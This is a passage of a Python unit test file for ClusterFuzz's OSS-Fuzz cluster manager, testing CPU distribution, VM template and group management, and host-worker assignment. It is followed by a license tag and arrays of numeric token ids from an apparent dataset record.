cpu_count=499, ) ]).put() data_types.OssFuzzProjectInfo( id='proj4', name='proj4', clusters=[ data_types.OssFuzzProjectInfo.ClusterInfo( cluster='oss-fuzz-linux-zone2-pre', gce_zone='us-east2-a', cpu_count=99, ) ]).put() data_types.OssFuzzProjectInfo( id='proj5', name='proj5', clusters=[ data_types.OssFuzzProjectInfo.ClusterInfo( cluster='oss-fuzz-linux-zone2-pre', gce_zone='us-east2-a', cpu_count=99, ) ]).put() data_types.OssFuzzProjectInfo( id='old_proj', name='old_proj', clusters=[ data_types.OssFuzzProjectInfo.ClusterInfo( cluster='oss-fuzz-linux-zone2-pre', gce_zone='us-east2-a', cpu_count=5, ) ]).put() data_types.HostWorkerAssignment( id='old-host-0', host_name='old-host', worker_name='worker', instance_num=0).put() instance_groups = {} instance_templates = {} self.mock.BotManager.side_effect = functools.partial( MockBotManager, instance_groups=instance_groups, instance_templates=instance_templates) def test_update_cpus(self): """Tests CPU distribution cron.""" self.maxDiff = None # pylint: disable=invalid-name manager = manage_vms.OssFuzzClustersManager('clusterfuzz-external') manager.update_clusters() proj1 = ndb.Key(data_types.OssFuzzProjectInfo, 'proj1').get() self.assertIsNotNone(proj1) self.assertDictEqual({ 'name': 'proj1', 'clusters': [{ 'cluster': 'oss-fuzz-linux-zone2-pre', 'cpu_count': 100, 'gce_zone': 'us-east2-a', }, { 'cluster': 'oss-fuzz-linux-zone3-worker', 'cpu_count': 1, 'gce_zone': 'us-central1-d', }], }, proj1.to_dict()) proj2 = ndb.Key(data_types.OssFuzzProjectInfo, 'proj2').get() self.assertIsNotNone(proj2) self.assertDictEqual({ 'name': 'proj2', 'clusters': [{ 'cluster': 'oss-fuzz-linux-zone2-pre', 'cpu_count': 200, 'gce_zone': 'us-east2-a', }, { 'cluster': 'oss-fuzz-linux-zone3-worker', 'cpu_count': 4, 'gce_zone': 'us-central1-d', }], }, proj2.to_dict()) proj3 = ndb.Key(data_types.OssFuzzProjectInfo, 'proj3').get() self.assertIsNotNone(proj3) self.assertDictEqual({ 'name': 'proj3', 'clusters': [{ 'cluster': 'oss-fuzz-linux-zone2-pre', 'cpu_count': 499, 'gce_zone': 'us-east2-a', }, { 'cluster': 'oss-fuzz-linux-zone3-worker', 'cpu_count': 9, 'gce_zone': 'us-central1-d', }], }, proj3.to_dict()) proj4 = ndb.Key(data_types.OssFuzzProjectInfo, 'proj4').get() self.assertIsNotNone(proj4) self.assertDictEqual({ 'name': 'proj4', 'clusters': [{ 'cluster': 'oss-fuzz-linux-zone2-pre', 'cpu_count': 99, 'gce_zone': 'us-east2-a', }, { 'cluster': 'oss-fuzz-linux-zone3-worker', 'cpu_count': 1, 'gce_zone': 'us-central1-d', }], }, proj4.to_dict()) proj5 = ndb.Key(data_types.OssFuzzProjectInfo, 'proj5').get() self.assertIsNotNone(proj5) self.assertDictEqual({ 'name': 'proj5', 'clusters': [{ 'cluster': 'oss-fuzz-linux-zone2-pre', 'cpu_count': 99, 'gce_zone': 'us-east2-a', }, { 'cluster': 'oss-fuzz-linux-zone3-worker', 'cpu_count': 1, 'gce_zone': 'us-central1-d', }], }, proj5.to_dict()) proj6 = ndb.Key(data_types.OssFuzzProjectInfo, 'proj6').get() self.assertIsNotNone(proj6) self.assertDictEqual({ 'name': 'proj6', 'clusters': [{ 'cluster': 'oss-fuzz-linux-zone3-worker-high-end', 'cpu_count': 2, 'gce_zone': 'us-central1-d', }], }, proj6.to_dict()) old_proj = ndb.Key(data_types.OssFuzzProjectInfo, 'old_proj').get() self.assertIsNone(old_proj) mock_bot_manager = self.mock.BotManager('clusterfuzz-external', 'us-east2-a') # proj1: new project. mock_bot_manager.instance_template( 'oss-fuzz-linux-zone2-pre-proj1').create.assert_called_with( expected_instance_template('clusterfuzz-external', 'external-pre-zone2', 'proj1')) mock_bot_manager.instance_group( 'oss-fuzz-linux-zone2-pre-proj1').create.assert_called_with( 'oss-fuzz-linux-zone2-pre-proj1', 'oss-fuzz-linux-zone2-pre-proj1', size=100, wait_for_instances=False) mock_bot_manager.instance_group( 'oss-fuzz-linux-zone2-pre-proj1').resize.assert_not_called() # proj2: already exists. needs a resize. old cluster should be deleted. mock_bot_manager.instance_template( 'oss-fuzz-linux-zone2-pre-proj2').create.assert_not_called() mock_bot_manager.instance_template( 'oss-fuzz-linux-zone2-pre-proj2').delete.assert_not_called() mock_bot_manager.instance_group( 'oss-fuzz-linux-zone2-pre-proj2').create.assert_not_called() mock_bot_manager.instance_group( 'oss-fuzz-linux-zone2-pre-proj2').delete.assert_not_called() mock_bot_manager.instance_group( 'oss-fuzz-linux-zone2-pre-proj2').resize.assert_called_with( 200, wait_for_instances=False) mock_bot_manager.instance_template( 'old-cluster-proj2').delete.assert_called() mock_bot_manager.instance_group('old-cluster-proj2').delete.assert_called() # proj3: already exists. no changes needed. mock_bot_manager.instance_template( 'oss-fuzz-linux-zone2-pre-proj3').delete.assert_not_called() mock_bot_manager.instance_template( 'oss-fuzz-linux-zone2-pre-proj3').create.assert_not_called() mock_bot_manager.instance_group( 'oss-fuzz-linux-zone2-pre-proj3').create.assert_not_called() mock_bot_manager.instance_group( 'oss-fuzz-linux-zone2-pre-proj3').resize.assert_not_called() mock_bot_manager.instance_group( 'oss-fuzz-linux-zone2-pre-proj3').delete.assert_not_called() # proj4: needs a template update (version change). mock_bot_manager.instance_template( 'oss-fuzz-linux-zone2-pre-proj4').delete.assert_called() mock_bot_manager.instance_template( 'oss-fuzz-linux-zone2-pre-proj4').create.assert_called_with( expected_instance_template('clusterfuzz-external', 'external-pre-zone2', 'proj4')) mock_bot_manager.instance_group( 'oss-fuzz-linux-zone2-pre-proj4').delete.assert_called() mock_bot_manager.instance_group( 'oss-fuzz-linux-zone2-pre-proj4').create.assert_called_with( 'oss-fuzz-linux-zone2-pre-proj4', 'oss-fuzz-linux-zone2-pre-proj4', size=99, wait_for_instances=False) mock_bot_manager.instance_group( 'oss-fuzz-linux-zone2-pre-proj4').resize.assert_not_called() # proj5: needs a template update (disk size change). mock_bot_manager.instance_template( 'oss-fuzz-linux-zone2-pre-proj5').delete.assert_called() mock_bot_manager.instance_template( 'oss-fuzz-linux-zone2-pre-proj5').create.assert_called_with( expected_instance_template( 'clusterfuzz-external', 'external-pre-zone2', 'proj5', disk_size_gb=10)) mock_bot_manager.instance_group( 'oss-fuzz-linux-zone2-pre-proj5').delete.assert_called() mock_bot_manager.instance_group( 'oss-fuzz-linux-zone2-pre-proj5').create.assert_called_with( 'oss-fuzz-linux-zone2-pre-proj5', 'oss-fuzz-linux-zone2-pre-proj5', size=99, wait_for_instances=False) mock_bot_manager.instance_group( 'oss-fuzz-linux-zone2-pre-proj5').resize.assert_not_called() # proj6: high end project. for j in range(1, 6): mock_bot_manager.instance_group( 'oss-fuzz-linux-zone3-worker-high-end-proj' + str(j)).create.assert_not_called() mock_bot_manager.instance_group( 'oss-fuzz-linux-zone3-worker-high-end-proj6').create.assert_called() # old_proj: deleted. mock_bot_manager.instance_group( 'oss-fuzz-linux-zone2-pre-old-proj').create.assert_not_called() mock_bot_manager.instance_template( 'oss-fuzz-linux-zone2-pre-old-proj').delete.assert_called() mock_bot_manager.instance_group( 'oss-fuzz-linux-zone2-pre-old-proj').delete.assert_called() # host instances: created. mock_bot_manager.instance_template( 'oss-fuzz-linux-zone3-host').create.assert_called_with( expected_host_instance_template('clusterfuzz-external', 'host-zone3')) mock_bot_manager.instance_group( 'oss-fuzz-linux-zone3-host').create.assert_called_with( 'oss-fuzz-linux-zone3-host', 'oss-fuzz-linux-zone3-host', size=2, wait_for_instances=False) mock_bot_manager.instance_group( 'oss-fuzz-linux-zone3-host-high-end').create.assert_called_with( 'oss-fuzz-linux-zone3-host-high-end', 'oss-fuzz-linux-zone3-host-high-end', size=1, wait_for_instances=False) # Worker instances: created. mock_bot_manager.instance_template( 'oss-fuzz-linux-zone3-worker-proj1').create.assert_called_with( expected_instance_template( 'clusterfuzz-external', 'worker-zone3', 'proj1', service_account='proj1@serviceaccount.com', tls_cert=True)) mock_bot_manager.instance_group( 'oss-fuzz-linux-zone3-worker-proj1').create.assert_called_with( 'oss-fuzz-linux-zone3-worker-proj1', 'oss-fuzz-linux-zone3-worker-proj1', size=1, wait_for_instances=False) mock_bot_manager.instance_template( 'oss-fuzz-linux-zone3-worker-proj2').create.assert_called_with( expected_instance_template( 'clusterfuzz-external', 'worker-zone3', 'proj2', service_account='proj2@serviceaccount.com', tls_cert=True)) mock_bot_manager.instance_group( 'oss-fuzz-linux-zone3-worker-proj2').create.assert_called_with( 'oss-fuzz-linux-zone3-worker-proj2', 'oss-fuzz-linux-zone3-worker-proj2', size=4, wait_for_instances=False) six.assertCountEqual(self, [{ 'instance_num': 0, 'worker_name': u'oss-fuzz-linux-zone3-worker-proj1-0001', 'project_name': u'proj1', 'host_name': u'oss-fuzz-linux-zone3-host-abcd' }, { 'instance_num': 1, 'worker_name': u'oss-fuzz-linux-zone3-worker-proj2-0001', 'project_name': u'proj2', 'host_name': u'oss-fuzz-linux-zone3-host-abcd' }, { 'instance_num': 2, 'worker_name': u'oss-fuzz-linux-zone3-worker-proj2-0002', 'project_name': u'proj2', 'host_name': u'oss-fuzz-linux-zone3-host-abcd' }, { 'instance_num': 3, 'worker_name': u'oss-fuzz-linux-zone3-worker-proj2-0003', 'project_name': u'proj2', 'host_name': u'oss-fuzz-linux-zone3-host-abcd' }, { 'instance_num': 4, 'worker_name': u'oss-fuzz-linux-zone3-worker-proj2-0004', 'project_name': u'proj2', 'host_name': u'oss-fuzz-linux-zone3-host-abcd' }, { 'instance_num': 5, 'worker_name': u'oss-fuzz-linux-zone3-worker-proj3-0001', 'project_name': u'proj3', 'host_name': u'oss-fuzz-linux-zone3-host-abcd' }, { 'instance_num': 6, 'worker_name': u'oss-fuzz-linux-zone3-worker-proj3-0002', 'project_name': u'proj3', 'host_name': u'oss-fuzz-linux-zone3-host-abcd' }, { 'instance_num': 7, 'worker_name': u'oss-fuzz-linux-zone3-worker-proj3-0003', 'project_name': u'proj3', 'host_name': u'oss-fuzz-linux-zone3-host-abcd' }, { 'instance_num': 0, 'worker_name': u'oss-fuzz-linux-zone3-worker-proj3-0004', 'project_name': u'proj3', 'host_name': u'oss-fuzz-linux-zone3-host-efgh' }, { 'instance_num': 1, 'worker_name': u'oss-fuzz-linux-zone3-worker-proj3-0005', 'project_name': u'proj3', 'host_name': u'oss-fuzz-linux-zone3-host-efgh' }, { 'instance_num': 2, 'worker_name': u'oss-fuzz-linux-zone3-worker-proj3-0006', 'project_name': u'proj3', 'host_name': u'oss-fuzz-linux-zone3-host-efgh' }, { 'instance_num': 3, 'worker_name': u'oss-fuzz-linux-zone3-worker-proj3-0007', 'project_name': u'proj3', 'host_name': u'oss-fuzz-linux-zone3-host-efgh' }, { 'instance_num': 4, 'worker_name': u'oss-fuzz-linux-zone3-worker-proj3-0008', 'project_name': u'proj3', 'host_name': u'oss-fuzz-linux-zone3-host-efgh' }, { 'instance_num': 5, 'worker_name': u'oss-fuzz-linux-zone3-worker-proj3-0009', 'project_name': u'proj3', 'host_name': u'oss-fuzz-linux-zone3-host-efgh' }, { 'instance_num': 6, 'worker_name': u'oss-fuzz-linux-zone3-worker-proj4-0001', 'project_name': u'proj4', 'host_name': u'oss-fuzz-linux-zone3-host-efgh' }, { 'instance_num': 7, 'worker_name': u'oss-fuzz-linux-zone3-worker-proj5-0001', 'project_name': u'proj5', 'host_name': u'oss-fuzz-linux-zone3-host-efgh' }, { 'instance_num': 0, 'worker_name': u'oss-fuzz-linux-zone3-worker-high-end-proj6-0001', 'project_name': u'proj6', 'host_name': u'oss-fuzz-linux-zone3-host-high-end-1' }, { 'instance_num': 1, 'worker_name': u'oss-fuzz-linux-zone3-worker-high-end-proj6-0002', 'project_name': u'proj6', 'host_name': u'oss-fuzz-linux-zone3-host-high-end-1' }], [ assignment.to_dict() for assignment in data_types.HostWorkerAssignment.query() ]) class OssFuzzDistributeCpusTest(unittest.TestCase): """Tests OSS-Fuzz CPU distribution.""" def test_equal(self): """Tests for each project receiving equal share.""" projects = [ data_types.OssFuzzProject(name='proj1', cpu_weight=1.0), data_types.OssFuzzProject(name='proj2', cpu_weight=1.0), data_types.OssFuzzProject(name='proj3', cpu_weight=1.0), ] result = manage_vms.OssFuzzClustersManager( 'clusterfuzz-external').distribute_cpus(projects, 30) self.assertListEqual([10, 10, 10], result) def test_equal_uneven(self): """Tests for each project receiving equal share with an uneven division.""" projects = [ data_types.OssFuzzProject(name='proj1', cpu_weight=1.0), data_types.OssFuzzProject(name='proj2', cpu_weight=1.0), data_types.OssFuzzProject(name='proj3', cpu_weight=1.0), ] result = manage_vms.OssFuzzClustersManager( 'clusterfuzz-external').distribute_cpus(projects, 31) self.assertListEqual([11, 10, 10], result) result = manage_vms.OssFuzzClustersManager( 'clusterfuzz-external').distribute_cpus(projects, 32) self.assertListEqual([11, 11, 10], result) def test_weight_preference(self): """Tests that remainders are given to projects with higher weights first. """ projects = [ data_types.OssFuzzProject(name='proj1', cpu_weight=1.0), data_types.OssFuzzProject(name='proj2', cpu_weight=1.01), data_types.OssFuzzProject(name='proj3', cpu_weight=1.1), ] result = manage_vms.OssFuzzClustersManager( 'clusterfuzz-external').distribute_cpus(projects, 4) self.assertListEqual([1, 1, 2], result) result = manage_vms.OssFuzzClustersManager( 'clusterfuzz-external').distribute_cpus(projects, 5) self.assertListEqual([1, 2, 2], result) def test_not_enough(self): """Tests allocation with not enough CPUs.""" projects = [ data_types.OssFuzzProject(name='proj1', cpu_weight=1.0), data_types.OssFuzzProject(name='proj2', cpu_weight=1.0), data_types.OssFuzzProject(name='proj3', cpu_weight=1.0), ] result = manage_vms.OssFuzzClustersManager( 'clusterfuzz-external').distribute_cpus(projects, 1) self.assertListEqual([1, 0, 0], result) result = manage_vms.OssFuzzClustersManager( 'clusterfuzz-external').distribute_cpus(projects, 2) self.assertListEqual([1, 1, 0], result) def test_minimum(self): """Tests that projects are given a minimum share.""" projects = [ data_types.OssFuzzProject(name='proj1', cpu_weight=0.0), data_types.OssFuzzProject(name='proj2', cpu_weight=0.0), data_types.OssFuzzProject(name='proj3', cpu_weight=0.0), ] result = manage_vms.OssFuzzClustersManager( 'clusterfuzz-external').distribute_cpus(projects, 3) self.assertListEqual([1, 1, 1], result) result = manage_vms.OssFuzzClustersManager( 'clusterfuzz-external').distribute_cpus(projects, 10) self.assertListEqual([4, 3, 3], result) def test_maximum(self): """Tests that projects are capped at the maximum share.""" projects = [ data_types.OssFuzzProject(name='proj1', cpu_weight=1.0), data_types.OssFuzzProject(name='proj2', cpu_weight=1.0), data_types.OssFuzzProject(name='proj3', cpu_weight=1.0), ] result = manage_vms.OssFuzzClustersManager( 'clusterfuzz-external').distribute_cpus(projects, 10000) self.assertListEqual([1000, 1000, 1000], result) def test_primes(self): """Test a bunch of different distributions.""" projects = [ data_types.OssFuzzProject(name='proj1', cpu_weight=2.0), data_types.OssFuzzProject(name='proj2', cpu_weight=3.0), data_types.OssFuzzProject(name='proj3', cpu_weight=5.0), data_types.OssFuzzProject(name='proj4', cpu_weight=7.0), data_types.OssFuzzProject(name='proj5', cpu_weight=11.0), ] result = manage_vms.OssFuzzClustersManager( 'clusterfuzz-external').distribute_cpus(projects, 101) self.assertListEqual([7, 10, 18, 26, 40], result) self.assertEqual(101, sum(result)) result = manage_vms.OssFuzzClustersManager( 'clusterfuzz-external').distribute_cpus(projects, 887) self.assertListEqual([63, 95, 158, 222, 349], result) self.assertEqual(887, sum(result)) result = manage_vms.OssFuzzClustersManager( 'clusterfuzz-external').distribute_cpus(projects, 2741) self.assertListEqual([214, 313, 509, 705, 1000], result) self.assertEqual(2741, sum(result)) result = manage_vms.OssFuzzClustersManager( 'clusterfuzz-external').distribute_cpus(projects, 3571) self.assertListEqual([356, 483, 738, 994, 1000], result) self.assertEqual(3571, sum(result)) @test_utils.with_cloud_emulators('datastore') class AssignHostWorkerTest(unittest.TestCase): """Tests host -> worker assignment.""" def test_assign_keep_existing(self): """Test that assignment keeps existing assignments.""" host_names = ['host'] worker_instances = [ manage_vms.WorkerInstance(name='worker-proj-0', project='proj'), manage_vms.WorkerInstance(name='worker-proj-1', project='proj'), manage_vms.WorkerInstance(name='worker-proj-2', project='proj'), manage_vms.WorkerInstance(name='worker-proj-3', project='proj'), manage_vms.WorkerInstance(name='worker-proj-4', project='proj'), manage_vms.WorkerInstance(name='worker-proj-5', project='proj'), manage_vms.WorkerInstance(name='worker-proj-6', project='proj'), manage_vms.WorkerInstance(name='worker-proj-7', project='proj'), ] data_types.HostWorkerAssignment( host_name='host', instance_num=2, worker_name='worker-proj-6', project_name='proj', id='host-2').put() data_types.HostWorkerAssignment( host_name='host', instance_num=3, worker_name='worker-proj-1', project_name='proj', id='host-3').put() data_types.HostWorkerAssignment( host_name='host', instance_num=0, worker_name='worker-nonexistent-1', project_name='nonexistent', id='host-0').put() manager = manage_vms.OssFuzzClustersManager('clusterfuzz-external') new_assignments = manager.do_assign_hosts_to_workers( host_names, worker_instances, 8) self.assertListEqual([ { 'host_name': u'host', 'instance_num': 0, 'project_name': 'proj', 'worker_name': 'worker-proj-0' }, { 'host_name': u'host', 'instance_num': 1, 'project_name': 'proj', 'worker_name': 'worker-proj-2' }, { 'host_name': u'host', 'instance_num': 4, 'project_name': 'proj', 'worker_name': 'worker-proj-3' }, { 'host_name': u'host', 'instance_num': 5, 'project_name': 'proj', 'worker_name': 'worker-proj-4' }, { 'host_name': u'host', 'instance_num': 6, 'project_name': 'proj', 'worker_name': 'worker-proj-5' }, { 'host_name': u'host', 'instance_num': 7, 'project_name': 'proj', 'worker_name': 'worker-proj-7' }, ], [assignment.to_dict() for assignment in new_assignments])
apache-2.0
[ 3, 1898, 20312, 4475, 20376, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 420, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 624, 9053, 63, 16092, 2295, 1041, 199, 199, 646, 1331, 199, 646, 9143, 199, 646, 1683, 199, 646, 2882, 199, 199, 504, 6233, 14, 4091, 492, 23788, 199, 646, 3816, 199, 199, 504, 12007, 492, 666, 63, 1313, 199, 504, 6233, 63, 4091, 63, 1208, 492, 4526, 63, 3908, 63, 6776, 199, 504, 8297, 14, 14829, 492, 9635, 63, 16092, 199, 504, 8297, 14, 14829, 14, 7546, 492, 5888, 63, 2609, 199, 504, 2295, 14, 396, 63, 8450, 492, 10897, 465, 511, 63, 7546, 199, 504, 2295, 14, 396, 63, 8450, 492, 511, 63, 1208, 199, 199, 18235, 63, 27544, 275, 469, 272, 283, 26890, 13, 29997, 13, 5135, 13, 2619, 18, 13, 657, 13, 5468, 18, 356, 469, 267, 283, 1375, 2320, 356, 413, 12, 272, 1660, 272, 283, 26890, 13, 29997, 13, 5135, 13, 2619, 18, 13, 657, 13, 5468, 19, 356, 469, 267, 283, 1375, 2320, 356, 841, 1020, 12, 272, 1660, 272, 283, 26890, 13, 29997, 13, 5135, 13, 2619, 18, 13, 657, 13, 5468, 20, 356, 469, 267, 283, 1375, 2320, 356, 8806, 12, 272, 1660, 272, 283, 26890, 13, 29997, 13, 5135, 13, 2619, 18, 13, 657, 13, 5468, 21, 356, 469, 267, 283, 1375, 2320, 356, 8806, 12, 272, 789, 199, 93, 199, 199, 18235, 63, 25437, 275, 469, 272, 283, 26890, 13, 29997, 13, 5135, 13, 2619, 18, 13, 657, 13, 5468, 18, 356, 469, 267, 283, 1802, 356, 17137, 1023, 582, 413, 7293, 267, 283, 3282, 356, 469, 288, 283, 2343, 356, 469, 355, 283, 1744, 356, 990, 288, 1660, 288, 283, 16203, 356, 8910, 355, 283, 8489, 6007, 356, 469, 490, 283, 4032, 2320, 30271, 356, 283, 1216, 297, 355, 1660, 288, 19971, 288, 283, 1364, 30682, 356, 8910, 355, 283, 2123, 356, 490, 283, 2123, 297, 355, 283, 14129, 356, 359, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 4805, 490, 283, 2374, 3494, 14, 2861, 63, 2785, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 4806, 14, 952, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 751, 815, 14, 2123, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 15358, 14, 12662, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 496, 8373, 2106, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 23256, 297, 355, 1622, 288, 19971, 267, 789, 272, 1660, 272, 283, 26890, 13, 29997, 13, 5135, 13, 2619, 18, 13, 657, 13, 5468, 19, 356, 469, 267, 283, 1802, 356, 17137, 1023, 582, 413, 7293, 267, 283, 3282, 356, 469, 288, 283, 2343, 356, 469, 355, 283, 1744, 356, 990, 288, 1660, 288, 283, 16203, 356, 8910, 355, 283, 8489, 6007, 356, 469, 490, 283, 4032, 2320, 30271, 356, 283, 1216, 297, 355, 1660, 288, 19971, 288, 283, 1364, 30682, 356, 8910, 355, 283, 2123, 356, 490, 283, 2123, 297, 355, 283, 14129, 356, 359, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 4805, 490, 283, 2374, 3494, 14, 2861, 63, 2785, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 4806, 14, 952, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 751, 815, 14, 2123, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 15358, 14, 12662, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 496, 8373, 2106, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 23256, 297, 355, 1622, 288, 19971, 267, 789, 272, 1660, 272, 283, 26890, 13, 29997, 13, 5135, 13, 2619, 18, 13, 657, 13, 5468, 20, 356, 469, 267, 283, 1802, 356, 17137, 1023, 582, 378, 7293, 267, 283, 3282, 356, 469, 288, 283, 2343, 356, 469, 355, 283, 1744, 356, 990, 288, 1660, 288, 283, 16203, 356, 8910, 355, 283, 8489, 6007, 356, 469, 490, 283, 4032, 2320, 30271, 356, 283, 1216, 297, 355, 1660, 288, 19971, 288, 283, 1364, 30682, 356, 8910, 355, 283, 2123, 356, 490, 283, 2123, 297, 355, 283, 14129, 356, 359, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 4805, 490, 283, 2374, 3494, 14, 2861, 63, 2785, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 4806, 14, 952, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 751, 815, 14, 2123, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 15358, 14, 12662, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 496, 8373, 2106, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 23256, 297, 355, 1622, 288, 19971, 267, 789, 272, 1660, 272, 283, 26890, 13, 29997, 13, 5135, 13, 2619, 18, 13, 657, 13, 5468, 21, 356, 469, 267, 283, 1802, 356, 17137, 1023, 582, 413, 7293, 267, 283, 3282, 356, 469, 288, 283, 2343, 356, 469, 355, 283, 1744, 356, 990, 288, 1660, 288, 283, 16203, 356, 8910, 355, 283, 8489, 6007, 356, 469, 490, 283, 4032, 2320, 30271, 356, 283, 1216, 297, 355, 1660, 288, 19971, 288, 283, 1364, 30682, 356, 8910, 355, 283, 2123, 356, 490, 283, 2123, 297, 355, 283, 14129, 356, 359, 490, 283, 2859 ]
[ 1898, 20312, 4475, 20376, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 420, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 624, 9053, 63, 16092, 2295, 1041, 199, 199, 646, 1331, 199, 646, 9143, 199, 646, 1683, 199, 646, 2882, 199, 199, 504, 6233, 14, 4091, 492, 23788, 199, 646, 3816, 199, 199, 504, 12007, 492, 666, 63, 1313, 199, 504, 6233, 63, 4091, 63, 1208, 492, 4526, 63, 3908, 63, 6776, 199, 504, 8297, 14, 14829, 492, 9635, 63, 16092, 199, 504, 8297, 14, 14829, 14, 7546, 492, 5888, 63, 2609, 199, 504, 2295, 14, 396, 63, 8450, 492, 10897, 465, 511, 63, 7546, 199, 504, 2295, 14, 396, 63, 8450, 492, 511, 63, 1208, 199, 199, 18235, 63, 27544, 275, 469, 272, 283, 26890, 13, 29997, 13, 5135, 13, 2619, 18, 13, 657, 13, 5468, 18, 356, 469, 267, 283, 1375, 2320, 356, 413, 12, 272, 1660, 272, 283, 26890, 13, 29997, 13, 5135, 13, 2619, 18, 13, 657, 13, 5468, 19, 356, 469, 267, 283, 1375, 2320, 356, 841, 1020, 12, 272, 1660, 272, 283, 26890, 13, 29997, 13, 5135, 13, 2619, 18, 13, 657, 13, 5468, 20, 356, 469, 267, 283, 1375, 2320, 356, 8806, 12, 272, 1660, 272, 283, 26890, 13, 29997, 13, 5135, 13, 2619, 18, 13, 657, 13, 5468, 21, 356, 469, 267, 283, 1375, 2320, 356, 8806, 12, 272, 789, 199, 93, 199, 199, 18235, 63, 25437, 275, 469, 272, 283, 26890, 13, 29997, 13, 5135, 13, 2619, 18, 13, 657, 13, 5468, 18, 356, 469, 267, 283, 1802, 356, 17137, 1023, 582, 413, 7293, 267, 283, 3282, 356, 469, 288, 283, 2343, 356, 469, 355, 283, 1744, 356, 990, 288, 1660, 288, 283, 16203, 356, 8910, 355, 283, 8489, 6007, 356, 469, 490, 283, 4032, 2320, 30271, 356, 283, 1216, 297, 355, 1660, 288, 19971, 288, 283, 1364, 30682, 356, 8910, 355, 283, 2123, 356, 490, 283, 2123, 297, 355, 283, 14129, 356, 359, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 4805, 490, 283, 2374, 3494, 14, 2861, 63, 2785, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 4806, 14, 952, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 751, 815, 14, 2123, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 15358, 14, 12662, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 496, 8373, 2106, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 23256, 297, 355, 1622, 288, 19971, 267, 789, 272, 1660, 272, 283, 26890, 13, 29997, 13, 5135, 13, 2619, 18, 13, 657, 13, 5468, 19, 356, 469, 267, 283, 1802, 356, 17137, 1023, 582, 413, 7293, 267, 283, 3282, 356, 469, 288, 283, 2343, 356, 469, 355, 283, 1744, 356, 990, 288, 1660, 288, 283, 16203, 356, 8910, 355, 283, 8489, 6007, 356, 469, 490, 283, 4032, 2320, 30271, 356, 283, 1216, 297, 355, 1660, 288, 19971, 288, 283, 1364, 30682, 356, 8910, 355, 283, 2123, 356, 490, 283, 2123, 297, 355, 283, 14129, 356, 359, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 4805, 490, 283, 2374, 3494, 14, 2861, 63, 2785, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 4806, 14, 952, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 751, 815, 14, 2123, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 15358, 14, 12662, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 496, 8373, 2106, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 23256, 297, 355, 1622, 288, 19971, 267, 789, 272, 1660, 272, 283, 26890, 13, 29997, 13, 5135, 13, 2619, 18, 13, 657, 13, 5468, 20, 356, 469, 267, 283, 1802, 356, 17137, 1023, 582, 378, 7293, 267, 283, 3282, 356, 469, 288, 283, 2343, 356, 469, 355, 283, 